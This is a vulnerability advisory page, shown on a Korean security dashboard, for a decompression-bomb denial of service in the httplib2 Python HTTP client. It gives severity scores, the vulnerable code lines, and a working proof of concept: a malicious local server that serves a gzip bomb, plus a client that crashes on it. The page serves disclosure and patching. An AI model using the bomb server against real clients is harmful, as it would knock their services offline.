Kestrel
대시보드로 돌아가기
CVE-2026-59939HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 08.수정일: 2026. 07. 24.

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 66.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394):

    text
    1content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()

    The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397):

    text
    1content = zlib.decompress(content, zlib.MAX_WBITS)

    Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:

  • Content-Encoding: gzip header
  • A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

python
1#!/usr/bin/env python3
2"""Malicious HTTP server that serves a gzip decompression bomb."""
3import gzip
4import http.server
5import io
6import socketserver
7
8UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
9
10def make_payload():
11 """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
12 buf = io.BytesIO()
13 with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
14 chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
15 for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
16 gz.write(chunk)
17 return buf.getvalue()
18
19PAYLOAD = make_payload()
20
21class Handler(http.server.BaseHTTPRequestHandler):
22 def do_GET(self):
23 self.send_response(200)
24 self.send_header("Content-Type", "application/octet-stream")
25 self.send_header("Content-Encoding", "gzip")
26 self.send_header("Content-Length", str(len(PAYLOAD)))
27 self.end_headers()
28 self.wfile.write(PAYLOAD)
29 def log_message(self, fmt, *args):
30 pass
31
32with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
33 print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
34 f"{UNCOMPRESSED_SIZE} bytes decompressed")
35 httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

python
1#!/usr/bin/env python3
2"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
3import resource
4import httplib2
5
6# Set a 180 MB memory limit to make the crash deterministic
7LIMIT_MB = 180
8limit = LIMIT_MB * 1024 * 1024
9resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
10
11http = httplib2.Http(timeout=5)
12try:
13 response, content = http.request("http://127.0.0.1:8000/")
14 print(f"Unexpected success: received {len(content)} bytes")
15except MemoryError:
16 print(f"MemoryError confirmed: decompression bomb exhausted "
17 f"{LIMIT_MB} MB memory limit")
18 # This is the expected outcome - the 150 KB compressed payload
19 # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

text
1MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics:

  • Compressed payload size: 152,908 bytes (~150 KB)
  • Decompressed size: 157,286,400 bytes (150 MB)
  • Amplification ratio: ~1,029x
  • Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

ParameterValue
Compressed payload~150 KB
Decompressed size150 MB (configurable by attacker)
Amplification ratio~1,029x
Authentication requiredNone
User interaction requiredNone
PrerequisitesClient makes any HTTP request to attacker-controlled server

Real-world scenarios:

  • Web scrapers/crawlers that fetch pages from untrusted URLs
  • API clients connecting to third-party services
  • Webhook handlers that follow redirects to attacker-controlled endpoints
  • CI/CD pipelines that download dependencies or artifacts over HTTP
  • Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.


Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.